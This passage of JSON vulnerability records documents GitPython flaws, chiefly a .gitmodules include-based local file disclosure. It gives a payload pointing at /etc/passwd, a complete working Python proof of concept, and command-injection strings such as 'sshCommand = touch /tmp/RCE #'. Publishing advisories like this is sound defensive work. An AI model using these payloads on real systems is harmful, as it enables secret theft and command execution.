message.","status":"published","published":"2026-08-25T02:16:51.887Z","modified":"2026-10-12T15:10:00.207Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"},{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-73"],"updated_at":"2026-11-02T14:12:41.018848Z"}],"osv":[{"id":"ALPINE-CVE-2026-78675","description":"GitPython before 3.1.59 fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file content by including arbitrary file paths via [include] directives. Attackers can craft a malicious .gitmodules file with include directives pointing to sensitive files; when repo.submodules is accessed, GitConfigParser raises MissingSectionHeaderError embedding the target file's first line verbatim in the exception message.","status":"published","published":"2026-08-25T02:16:51.887Z","modified":"2026-11-03T06:32:58.11096586Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-03T07:16:09.603409Z"},{"id":"CVE-2026-78675","title":"GitPython before 3.1.59 Local File Content Disclosure via .gitmodules","description":"GitPython before 3.1.59 fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file content by including arbitrary file paths via [include] directives. Attackers can craft a malicious .gitmodules file with include directives pointing to sensitive files; when repo.submodules is accessed, GitConfigParser raises MissingSectionHeaderError embedding the target file's first line verbatim in the exception message.","status":"published","published":"2026-08-25T01:30:32.739Z","modified":"2026-10-28T02:30:21.054858026Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-73"],"updated_at":"2026-11-02T15:45:17.44708Z"},{"id":"DEBIAN-CVE-2026-78675","description":"GitPython before 3.1.59 fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file content by including arbitrary file paths via [include] directives. Attackers can craft a malicious .gitmodules file with include directives pointing to sensitive files; when repo.submodules is accessed, GitConfigParser raises MissingSectionHeaderError embedding the target file's first line verbatim in the exception message.","status":"published","published":"2026-08-25T02:16:51.887Z","modified":"2026-10-31T14:00:10.416380918Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:46:03.502256Z"},{"id":"GHSA-7833-fr7j-v32q","title":"GitPython: Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)","description":"# [HIGH] Arbitrary local file content disclosure via `[include]` directive in untrusted `.gitmodules` (`SubmoduleConfigParser` never disables `merge_includes`)\n\n- **CWE:** CWE-200 (Exposure of Sensitive Information) / CWE-73 (External Control of File Name or Path)\n- **Affected component:** `git/objects/submodule/base.py`, `Submodule._config_parser()` (~line 273) constructing `SubmoduleConfigParser(fp_module, read_only=read_only)`; `git/config.py`, `GitConfigParser.__init__` (`merge_includes` default), `GitConfigParser.read()`/`_included_paths()` (include-path resolution, ~lines 630-685), `GitConfigParser._read()` (~line 493-498, `MissingSectionHeaderError`)\n- **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`)\n\n## Reachability\n`GitConfigParser.__init__` defaults `merge_includes=True`: any config file it parses has its `[include]` (and, when a `repo=` is supplied, `[includeIf ...]`) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit `41ecc6a4` (\"Disable merge_includes in config writers\"), which passes `merge_includes=False` when `Repo.config_writer()` builds its parser (`git/repo/base.py`).\n\nThat fix never touched `Submodule._config_parser()`. This method builds the parser used for **every** read of a repo's submodule configuration — `repo.submodules`, `Submodule.iter_items()`, `Submodule.config()` — via `SubmoduleConfigParser(fp_module, read_only=read_only)`, passing neither `merge_includes=False` nor `repo=`. The `True` class default is therefore inherited unchanged, and `fp_module` here is `.gitmodules` — **the single most attacker-controlled config file in the entire codebase**, since it ships verbatim as tracked content inside any cloned repository.\n\n`GitConfigParser.read()`'s include-path resolution (~line 662-680) performs no containment check: `osp.isabs(include_path)` short-circuits the path join entirely for an absolute path, and a relative path is joined with `osp.join(osp.dirname(file_path), include_path)` / `osp.normpath()`'d with no check that the result stays under the repository. `~` is expanded via `osp.expanduser`. The only gate before opening is `os.access(include_path, os.R_OK)` — a readability check, not a path restriction.\n\nOnce opened, `GitConfigParser._read()` parses the target file as git-config INI. If the first non-blank/non-comment line is not a `[section]` header — true of virtually any non-gitconfig file (source code, `/etc/passwd`, `.env` files, credential files, logs, JSON/YAML) — it raises `configparser.MissingSectionHeaderError(fpname, lineno, line)`. Python's stdlib formats this exception's `str()` as `\"File contains no section headers.\\nfile: %r, line: %d\\n%r\" % (fpname, lineno, line)` — it embeds the **verbatim content** of that file's first line in the exception message. `Submodule.iter_items()` catches only `(IOError, BadName)`, not `configparser.Error`, so this exception propagates straight out of the ordinary, read-only `repo.submodules` call.\n\n## Root cause\nParity gap between two config-parser construction sites for the exact same footgun: `Repo.config_writer()` was hardened against `merge_includes` in 2023 (`41ecc6a4`); `Submodule._config_parser()` — which parses `.gitmodules`, content that is *always* attacker-controlled the moment a repository is cloned from an untrusted source — was never given the same treatment. (The submodule *write*-mode config parser at `git/objects/submodule/base.py` for `.git/modules/\u003cname\u003e/config` — a different, locally-generated file — has correctly passed `merge_includes=False` since 2022, underscoring that the omission for `.gitmodules` reads looks like an oversight rather than a considered exception.)\n\n## Exploit path\n1. Attacker crafts a repository whose `.gitmodules` contains a legitimate-looking `[submodule ...]` section plus:\n   ```\n   [include]\n   \tpath = /etc/passwd\n   ```\n   (an absolute path bypasses any traversal reasoning entirely; a relative `../../../../etc/passwd`-style path works too).\n2. Victim performs the extremely common, entirely read-only operation of enumerating a cloned repo's submodules: `list(repo.submodules)` (or any `for sm in repo.submodules`) — no `update()`, `init()`, or checkout of any kind required.\n3. `SubmoduleConfigParser` (inheriting `merge_includes=True`) follows the `[include]` directive, opens `/etc/passwd`, and `GitConfigParser._read()` raises `MissingSectionHeaderError` whose message embeds `/etc/passwd`'s first line verbatim.\n4. This exception surfaces wherever the host application observes exceptions from GitPython — CI logs, error pages, exception trackers, or any dependency-scanner/code-review-bot/hosting-platform tool built on `repo.submodules` — disclosing the targeted file's first line to the attacker (directly, or indirectly via any channel that echoes the error).\n\n## Impact\nNon-blind local file content disclosure (first line) of any file readable by the victim process, triggered purely by attacker-controlled repository content and one routine, read-only GitPython call. Bounded to one line per triggering file (parsing aborts at the first `MissingSectionHeaderError`), but that line very often *is* the secret — `.env` files (`DATABASE_URL=...`, `API_KEY=...`), single-line credential/token files, `/etc/passwd`'s root entry for host fingerprinting. The primitive additionally serves as a generic error-based file-existence oracle for arbitrary host paths. This is materially stronger than the already-fixed, explicitly **blind** `GHSA-cwvm-v4w8-q58c` (\"Blind local file inclusion\", CVSS 4.0, `git/refs/symbolic.py` ref-name resolution) — that advisory's own writeup states it cannot disclose content; this one does, verbatim, via a different module (`git/config.py`'s include resolution).\n\n## Preconditions\n- Victim clones (or otherwise opens with GitPython) a repository whose `.gitmodules` is attacker-controlled — the default trust model for any tool that processes third-party repositories (dependency scanners, CI, code hosting/review bots, \"audit this repo\" utilities — exactly the class of application GitPython itself is built for).\n- Victim performs any operation that touches `repo.submodules` — one of the most ordinary GitPython operations, requiring no submodule `update`/`init`/checkout.\n- No authentication/role requirement inside GitPython itself.\n\n## Evidence\n- `git/config.py` — `GitConfigParser.__init__` defaults `merge_includes=True`.\n- `git/objects/submodule/base.py:273` — `SubmoduleConfigParser(fp_module, read_only=read_only)` passes neither `merge_includes` nor `repo=`; `git blame` shows this call unchanged since the class was introduced, and `git show 41ecc6a4` confirms that commit touched only `git/repo/base.py`'s `Repo.config_writer()`, never this call site.\n- `git/config.py` `_included_paths()`/`read()` (~630-685) — absolute include paths bypass the join/normpath entirely (`osp.isabs()` short-circuit); no repository-boundary containment check exists anywhere in this path.\n- `git/config.py` `_read()` (~493-498) — raises `cp.MissingSectionHeaderError(fpname, lineno, line)` with the raw file line embedded, matching Python stdlib `configparser`'s own `__str__` behavior.\n- `Submodule.iter_items()` catches only `(IOError, BadName)` — `configparser.Error` (the base of `MissingSectionHeaderError`) is not swallowed.\n- PoC (`gitpython-003-poc.py`, embedded below) reproduces this end-to-end against this exact checkout via the public API only (`Repo.clone_from` + `list(repo.submodules)`, default arguments, no monkeypatching), against both a throwaway secret file and `/etc/passwd`.\n\n## False-positive check (adversarial re-read)\n- **Is this the same bug as `GHSA-hmq2-w58f-27jc`?** No — that advisory is about the `.gitmodules` submodule *name* driving `_module_abspath`/`os.makedirs()` (creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the `[include]` directive in the *same file* reaching a config-parser read primitive — a different mechanism, different function, different impact class (content disclosure, not directory creation).\n- **Is this the same bug as `GHSA-cwvm-v4w8-q58c` (blind LFI)?** No — that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives in `git/refs/symbolic.py`'s ref-name resolution feeding `Repo.commit`/`tree`/`index.diff` — an entirely different module and code path. This finding discloses actual file content via `git/config.py`'s include-directive resolution.\n- **Is the impact overstated given only one line leaks?** No — this is an accurate scoping caveat already reflected in the severity/impact discussion, not a reachability blocker: attacker has full control over which path is targeted (absolute paths work unconditionally), requires zero interaction beyond the single most common submodule operation, and the PoC demonstrates a real, working end-to-end disclosure through the standard `clone_from` + `list(repo.submodules)` workflow.\n- **Could the exception simply be silently swallowed by GitPython before reaching the caller?** No — confirmed by reading `Submodule.iter_items()`'s exception handling, which catches only `IOError`/`BadName`; `configparser.MissingSectionHeaderError` propagates uncaught.\n- Verdict: no concrete blocker found. **CONFIRMED** — reproduced independently against both a throwaway secret file and `/etc/passwd`.\n\n## Remediation\nPass `merge_includes=False` when constructing `SubmoduleConfigParser` in `Submodule._config_parser()` (`git/objects/submodule/base.py`), mirroring the existing fix in `Repo.config_writer()` (commit `41ecc6a4`) — `.gitmodules` content is always attacker-controlled and should never be allowed to pull in `include`/`includeIf` directives. As defense in depth, `GitConfigParser.read()`'s include-path resolution should enforce that resolved include paths stay within the repository's own directory tree, and parsing-error messages (`MissingSectionHeaderError`/`ParsingError`) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open.\n\n## Confidence\nHigh. Root cause confirmed by direct code reading across both `git/config.py` and `git/objects/submodule/base.py`, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and `/etc/passwd`).\n\n\n## Proof-of-Concept source (`gitpython-003-poc.py`)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nGITPYTHON-003 PoC: `.gitmodules` -- fully attacker-controlled content shipped\ninside a cloned repository -- can contain `[include] path = \u003cany local path\u003e`.\n`Submodule._config_parser()` builds the parser used for `repo.submodules` (and\nother submodule reads) via `SubmoduleConfigParser(fp_module, read_only=...)`\nwithout passing `merge_includes=False`, so the class default `merge_includes=True`\nis inherited. GitConfigParser then opens the target file; if it isn't valid\ngit-config syntax (true of virtually any non-gitconfig file), Python's\n`configparser.MissingSectionHeaderError` embeds the file's first line verbatim\nin its exception message, which propagates out of the ordinary, read-only\n`repo.submodules` call -- a non-blind local file content disclosure primitive.\n\nRun:\n  PYTHONPATH=\"\u003crepo\u003e:\u003crepo\u003e/gitdb:\u003crepo\u003e/smmap\" python3 gitpython-003-poc.py \u003cworkdir\u003e \u003ctarget-file\u003e\n\nBenign: reads only the given \u003ctarget-file\u003e (defaults to a throwaway secret file\ncreated under \u003cworkdir\u003e if omitted) and never writes/exfiltrates it anywhere\nexcept printing it locally to prove the primitive. No destructive action.\n\"\"\"\nimport os\nimport subprocess\nimport sys\n\n\ndef main():\n    workdir = sys.argv[1] if len(sys.argv) \u003e 1 else \"/tmp/gitpython-003-poc\"\n    target_file = sys.argv[2] if len(sys.argv) \u003e 2 else os.path.join(workdir, \"secret.txt\")\n\n    attacker_repo = os.path.join(workdir, \"attacker-repo\")\n    dest = os.path.join(workdir, \"dest\")\n    for p in (attacker_repo, dest):\n        os.makedirs(p, exist_ok=True)\n\n    if not os.path.exists(target_file):\n        os.makedirs(os.path.dirname(target_file), exist_ok=True)\n        with open(target_file, \"w\") as f:\n            f.write(\"TOP-SECRET-DB-PASSWORD=hunter2-actual-secret-value\\n\")\n\n    subprocess.run([\"git\", \"init\", \"-q\", \"-b\", \"main\", attacker_repo], check=True)\n    subprocess.run([\"git\", \"-C\", attacker_repo, \"config\", \"user.email\", \"a@example.com\"], check=True)\n    subprocess.run([\"git\", \"-C\", attacker_repo, \"config\", \"user.name\", \"Attacker\"], check=True)\n\n    with open(os.path.join(attacker_repo, \"file.txt\"), \"w\") as f:\n        f.write(\"hello\\n\")\n\n    with open(os.path.join(attacker_repo, \".gitmodules\"), \"w\") as f:\n        f.write(\n            '[submodule \"totally-normal-dep\"]\\n'\n            \"\\tpath = vendor/dep\\n\"\n            \"\\turl = https://example.com/dep.git\\n\"\n            \"[include]\\n\"\n            \"\\tpath = %s\\n\" % target_file\n        )\n\n    subprocess.run([\"git\", \"-C\", attacker_repo, \"add\", \"file.txt\", \".gitmodules\"], check=True)\n    subprocess.run([\"git\", \"-C\", attacker_repo, \"commit\", \"-q\", \"-m\", \"init\"], check=True)\n\n    import git  # gitpython under test\n    import configparser\n\n    repo = git.Repo.clone_from(attacker_repo, dest)\n\n    try:\n        subs = list(repo.submodules)\n        print(\"NOT VULNERABLE: no exception raised, submodules =\", subs)\n        sys.exit(1)\n    except configparser.MissingSectionHeaderError as e:\n        msg = str(e)\n        print(\"VULNERABLE: MissingSectionHeaderError leaked file content via repo.submodules:\")\n        print(msg)\n        with open(target_file) as f:\n            first_line = f.readline().rstrip(\"\\n\")\n        if first_line in msg:\n            print(\"Confirmed: target file's first line is present verbatim in the exception message.\")\n            sys.exit(0)\n        else:\n            print(\"NOT VULNERABLE: exception message did not contain the expected content\")\n            sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n\n```","status":"published","published":"2026-09-08T18:38:51Z","modified":"2026-09-23T05:15:05.931147061Z","cvss":[{"version":"3.1","score":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"},{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-200","CWE-73"],"updated_at":"2026-11-02T15:46:40.657155Z"},{"id":"GHSA-crmc-f4m7-33fj","title":"Duplicate Advisory: Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-7833-fr7j-v32q. This link is maintained to preserve external references.\n\n## Original Description\nGitPython before 3.1.59 fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file content by including arbitrary file paths via [include] directives. Attackers can craft a malicious .gitmodules file with include directives pointing to sensitive files; when repo.submodules is accessed, GitConfigParser raises MissingSectionHeaderError embedding the target file's first line verbatim in the exception message.","status":"withdrawn","published":"2026-08-25T03:32:10Z","modified":"2026-09-08T18:27:45.442381039Z","cvss":[{"version":"3.1","score":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"},{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"cwes":["CWE-73"],"updated_at":"2026-11-02T15:46:45.28161Z"},{"id":"OESA-2026-3699","title":"python-GitPython security update","description":"GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.\r\n\r\nSecurity Fix(es):\n\nGitPython before 3.1.57 contains an incomplete denylist in the unsafe_git_archive_options guard that omits --add-file and --add-virtual-file options. Attackers can supply these options to Repo.archive() to read arbitrary files from the filesystem and include them in the returned archive.(CVE-2026-73619)\n\nGitPython before 3.1.57 fails to guard git option forwarding in IndexFile.checkout() and TagReference.create(), allowing attackers to pass unsafe options via kwargs. Attackers can use --prefix to overwrite arbitrary files with repository content or -F to read arbitrary files returned in-band.(CVE-2026-73620)\n\nGitPython before 3.1.56 contains an argument injection vulnerability in the Commit.count() method, which forwards keyword arguments to \u0026apos;git rev-list\u0026apos; without the check_unsafe_options guard present in the sibling iter_items method. An attacker who can control options passed to Commit.count (e.g., via an application that forwards a user-supplied options dict) can supply output=\u0026lt;path\u0026gt;, causing \u0026apos;git rev-list --output=\u0026lt;path\u0026gt;\u0026apos; to open and truncate the target file to zero bytes before revision parsing. This allows destruction/blanking of an arbitrary file at the process\u0026apos;s privilege level (no content control, 0-byte truncation).(CVE-2026-73621)\n\nGitPython before 3.1.55 fails to disable environment variable expansion in Remote.create() and Submodule.add() URL handling, allowing attackers to exfiltrate secrets by supplying URLs containing variable references. Attackers can craft URLs with environment variable tokens that are expanded into .git/config and .gitmodules, then transmitted to attacker-controlled hosts during fetch or pull operations.(CVE-2026-73622)\n\nGitPython before 3.1.54 contains an incomplete denylist in unsafe_git_clone_options that omits --template, allowing attackers to achieve arbitrary command execution during clone operations. Attackers can supply --template pointing to a directory containing malicious post-checkout hooks that execute when git clones the repository.(CVE-2026-73623)\n\nGitPython versions before 3.1.54 contain an arbitrary file overwrite vulnerability in the Diffable.diff method that fails to validate git options passed through kwargs. Attackers can supply the --output argument via the other parameter or output kwarg to write patch content to attacker-chosen file paths at process privilege level.(CVE-2026-73624)\n\nGitPython versions before 3.1.54 contain a remote code execution vulnerability in the check_unsafe_options guard that can be bypassed by smuggling git options inside single-character kwarg values. Attackers can supply crafted option dictionaries to clone_from, fetch, pull, push, ls_remote, iter_commits, blame, or archive methods to execute arbitrary OS commands via the --upload-pack parameter.(CVE-2026-73625)\n\nGitPython versions before 3.1.58 fail to validate options passed to git rm and git checkout commands in IndexFile.remove() and Head.checkout(). Attackers can supply --pathspec-from-file and --pathspec-file-nul parameters to read arbitrary files accessible to the process, with full file contents returned in GitCommandError.stderr.(CVE-2026-76217)\n\nGitPython before 3.1.58 contains a remote code execution vulnerability in Repo.init that forwards unsafe git options without validation. Attackers can supply a template parameter pointing to a directory with malicious git hooks that execute arbitrary code when git operations are performed on the initialized repository.(CVE-2026-76218)\n\nGitPython versions before 3.1.58 contain an arbitrary file overwrite vulnerability in IndexFile.from_tree, IndexFile.reset, and IndexFile.merge_tree methods that append caller-influenced treeish strings to git read-tree without option validation or argument separation. Attackers can inject the --index-output option to overwrite arbitrary files with a valid git-index blob, destroying existing file content at attacker-controlled writable paths.(CVE-2026-76219)\n\nGitPython before 3.1.58 contains a command execution vulnerability in the check_unsafe_options guard that can be bypassed by combining a single-character kwarg with split_single_char_options=False. Attackers can supply a crafted kwargs dictionary to guarded methods like clone_from to emit a joined token parsed as --upload-pack, enabling arbitrary OS command execution at default allow_unsafe_options=False.(CVE-2026-76220)\n\nGitPython before 3.1.58 contains a config-name injection vulnerability in the option-name validator that allows attackers to forge arbitrary git-config directives by injecting equals signs, hash symbols, and whitespace into option names. Attackers can inject malicious option names like \u0026apos;sshCommand = touch /tmp/RCE #\u0026apos; to execute arbitrary commands via core.sshCommand or core.hooksPath on the next git operation.(CVE-2026-76221)\n\nGitPython before 3.1.58 fails to validate submodule names from .gitmodules files, allowing attackers to create Git repositories at arbitrary filesystem paths outside the intended clone directory. Attackers can craft malicious repositories with traversal sequences in submodule names that GitPython processes during submodule initialization, creating attacker-controlled Git repositories at escaped filesystem locations.(CVE-2026-76222)\n\nGitPython before 3.1.59 fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file content by including arbitrary file paths via [include] directives. Attackers can craft a malicious .gitmodules file with include directives pointing to sensitive files; when repo.submodules is accessed, GitConfigParser raises MissingSectionHeaderError embedding the target file\u0026apos;s first line verbatim in the exception message.(CVE-2026-78675)\n\nGitPython before 3.1.59 fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives like core.hooksPath. Attackers can craft config files with embedded newlines that become live git directives after any unrelated GitPython config write, enabling arbitrary code execution via hook invocation.(CVE-2026-78676)\n\nGitPython before 3.1.59 omits --separate-git-dir from unsafe_git_clone_options, allowing attackers to create arbitrary git directories outside the intended clone destination. Attackers can pass a separate_git_dir parameter to Repo.clone_from() or Repo.clone() to redirect repository metadata to an attacker-controlled filesystem path, enabling arbitrary directory creation and potential hook execution.(CVE-2026-78677)\n\nGitPython before 3.1.59 contains an arbitrary file read vulnerability in TagReference.create() where a positional reference parameter bypasses the unsafe option guard. Attackers can supply a reference value like --file=\u0026amp;lt;path\u0026amp;gt; to read arbitrary files, with contents returned in the annotated tag message.(CVE-2026-78679)","status":"published","published":"2026-09-05T15:04:04Z","modified":"2026-09-05T15:16:39.551481332Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical"}],"updated_at":"2026-11-02T15:52:47.217107Z"},{"id":"OESA-2026-3700","title":"python-GitPython security update","description":"GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.\r\n\r\nSecurity Fix(es):\n\nGitPython before 3.1.57 contains an incomplete denylist in the unsafe_git_archive_options guard that omits --add-file and --add-virtual-file options. Attackers can supply these options to Repo.archive() to read arbitrary files from the filesystem and include them in the returned archive.(CVE-2026-73619)\n\nGitPython before 3.1.57 fails to guard git option forwarding in IndexFile.checkout() and TagReference.create(), allowing attackers to pass unsafe options via kwargs. Attackers can use --prefix to overwrite arbitrary files with repository content or -F to read arbitrary files returned in-band.(CVE-2026-73620)\n\nGitPython before 3.1.56 contains an argument injection vulnerability in the Commit.count() method, which forwards keyword arguments to \u0026apos;git rev-list\u0026apos; without the check_unsafe_options guard present in the sibling iter_items method. An attacker who can control options passed to Commit.count (e.g., via an application that forwards a user-supplied options dict) can supply output=\u0026lt;path\u0026gt;, causing \u0026apos;git rev-list --output=\u0026lt;path\u0026gt;\u0026apos; to open and truncate the target file to zero bytes before revision parsing. This allows destruction/blanking of an arbitrary file at the process\u0026apos;s privilege level (no content control, 0-byte truncation).(CVE-2026-73621)\n\nGitPython before 3.1.55 fails to disable environment variable expansion in Remote.create() and Submodule.add() URL handling, allowing attackers to exfiltrate secrets by supplying URLs containing variable references. Attackers can craft URLs with environment variable tokens that are expanded into .git/config and .gitmodules, then transmitted to attacker-controlled hosts during fetch or pull operations.(CVE-2026-73622)\n\nGitPython before 3.1.54 contains an incomplete denylist in unsafe_git_clone_options that omits --template, allowing attackers to achieve arbitrary command execution during clone operations. Attackers can supply --template pointing to a directory containing malicious post-checkout hooks that execute when git clones the repository.(CVE-2026-73623)\n\nGitPython versions before 3.1.54 contain an arbitrary file overwrite vulnerability in the Diffable.diff method that fails to validate git options passed through kwargs. Attackers can supply the --output argument via the other parameter or output kwarg to write patch content to attacker-chosen file paths at process privilege level.(CVE-2026-73624)\n\nGitPython versions before 3.1.54 contain a remote code execution vulnerability in the check_unsafe_options guard that can be bypassed by smuggling git options inside single-character kwarg values. Attackers can supply crafted option dictionaries to clone_from, fetch, pull, push, ls_remote, iter_commits, blame, or archive methods to execute arbitrary OS commands via the --upload-pack parameter.(CVE-2026-73625)\n\nGitPython versions before 3.1.58 fail to validate options passed to git rm and git checkout commands in IndexFile.remove() and Head.checkout(). Attackers can supply --pathspec-from-file and --pathspec-file-nul parameters to read arbitrary files accessible to the process, with full file contents returned in GitCommandError.stderr.(CVE-2026-76217)\n\nGitPython before 3.1.58 contains a remote code execution vulnerability in Repo.init that forwards unsafe git options without validation. Attackers can supply a template parameter pointing to a directory with malicious git hooks that execute arbitrary code when git operations are performed on the initialized repository.(CVE-2026-76218)\n\nGitPython versions before 3.1.58 contain an arbitrary file overwrite vulnerability in IndexFile.from_tree, IndexFile.reset, and IndexFile.merge_tree methods that append caller-influenced treeish strings to git read-tree without option validation or argument separation. Attackers can inject the --index-output option to overwrite arbitrary files with a valid git-index blob, destroying existing file content at attacker-controlled writable paths.(CVE-2026-76219)\n\nGitPython before 3.1.58 contains a command execution vulnerability in the check_unsafe_options guard that can be bypassed by combining a single-character kwarg with split_single_char_options=False. Attackers can supply a crafted kwargs dictionary to guarded methods like clone_from to emit a joined token parsed as --upload-pack, enabling arbitrary OS command execution at default allow_unsafe_options=False.(CVE-2026-76220)\n\nGitPython before 3.1.58 contains a config-name injection vulnerability in the option-name validator that allows attackers to forge arbitrary git-config directives by injecting equals signs, hash symbols, and whitespace into option names. Attackers can inject malicious option names like \u0026apos;sshCommand = touch /tmp/RCE #\u0026apos; to execute arbitrary commands via core.sshCommand or core.hooksPath on the next git operation.(CVE-2026-76221)\n\nGitPython before 3.1.58 fails to validate submodule names from .gitmodules files, allowing attackers to create Git repositories at arbitrary filesystem paths outside the intended clone directory. Attackers can craft malicious repositories with traversal sequences in submodule names that GitPython processes during submodule initialization, creating attacker-controlled Git repositories at escaped filesystem locations.(CVE-2026-76222)\n\nGitPython before 3.1.59 fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file content by including arbitrary file paths via [include] directives. Attackers can craft a malicious .gitmodules file with include directives pointing to sensitive files; when repo.submodules is accessed, GitConfigParser raises MissingSectionHeaderError embedding the target file\u0026apos;s first line verbatim in the exception message.(CVE-2026-78675)\n\nGitPython before 3.1.59 fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives like core.hooksPath. Attackers can craft config files with embedded newlines that become live git directives after any unrelated GitPython config write, enabling arbitrary code execution via hook invocation.(CVE-2026-78676)\n\nGitPython before 3.1.59 omits --separate-git-dir from unsafe_git_clone_options, allowing attackers to create arbitrary git directories outside the intended clone destination. Attackers can pass a separate_git_dir parameter to Repo.clone_from() or Repo.clone() to redirect repository metadata to an attacker-controlled filesystem path, enabling arbitrary directory creation and potential hook execution.(CVE-2026-78677)\n\nGitPython before 3.1.59 contains an arbitrary file read vulnerability in TagReference.create() where a positional reference parameter bypasses the unsafe option guard. Attackers can supply a reference value like --file=\u0026amp;lt;path\u0026amp;gt; to read arbitrary files, with contents returned in the annotated tag message.(CVE-2026-78679)","status":"published","published":"2026-09-05T15:04:05Z","modified":"2026-09-05T15:16:39.553906143Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical"}],"updated_at":"2026-11-02T15:52:47.217107Z"},{"id":"OESA-2026-3721","title":"python-GitPython security update","description":"GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.\r\n\r\nSecurity Fix(es):\n\nGitPython before 3.1.57 contains an incomplete denylist in the unsafe_git_archive_options guard that omits --add-file and --add-virtual-file options. Attackers can supply these options to Repo.archive() to read arbitrary files from the filesystem and include them in the returned archive.(CVE-2026-73619)\n\nGitPython before 3.1.57 fails to guard git option forwarding in IndexFile.checkout() and TagReference.create(), allowing attackers to pass unsafe options via kwargs. Attackers can use --prefix to overwrite arbitrary files with repository content or -F to read arbitrary files returned in-band.(CVE-2026-73620)\n\nGitPython before 3.1.56 contains an argument injection vulnerability in the Commit.count() method, which forwards keyword arguments to \u0026apos;git rev-list\u0026apos; without the check_unsafe_options guard present in the sibling iter_items method. An attacker who can control options passed to Commit.count (e.g., via an application that forwards a user-supplied options dict) can supply output=\u0026lt;path\u0026gt;, causing \u0026apos;git rev-list --output=\u0026lt;path\u0026gt;\u0026apos; to open and truncate the target file to zero bytes before revision parsing. This allows destruction/blanking of an arbitrary file at the process\u0026apos;s privilege level (no content control, 0-byte truncation).(CVE-2026-73621)\n\nGitPython before 3.1.55 fails to disable environment variable expansion in Remote.create() and Submodule.add() URL handling, allowing attackers to exfiltrate secrets by supplying URLs containing variable references. Attackers can craft URLs with environment variable tokens that are expanded into .git/config and .gitmodules, then transmitted to attacker-controlled hosts during fetch or pull operations.(CVE-2026-73622)\n\nGitPython before 3.1.54 contains an incomplete denylist in unsafe_git_clone_options that omits --template, allowing attackers to achieve arbitrary command execution during clone operations. Attackers can supply --template pointing to a directory containing malicious post-checkout hooks that execute when git clones the repository.(CVE-2026-73623)\n\nGitPython versions before 3.1.54 contain an arbitrary file overwrite vulnerability in the Diffable.diff method that fails to validate git options passed through kwargs. Attackers can supply the --output argument via the other parameter or 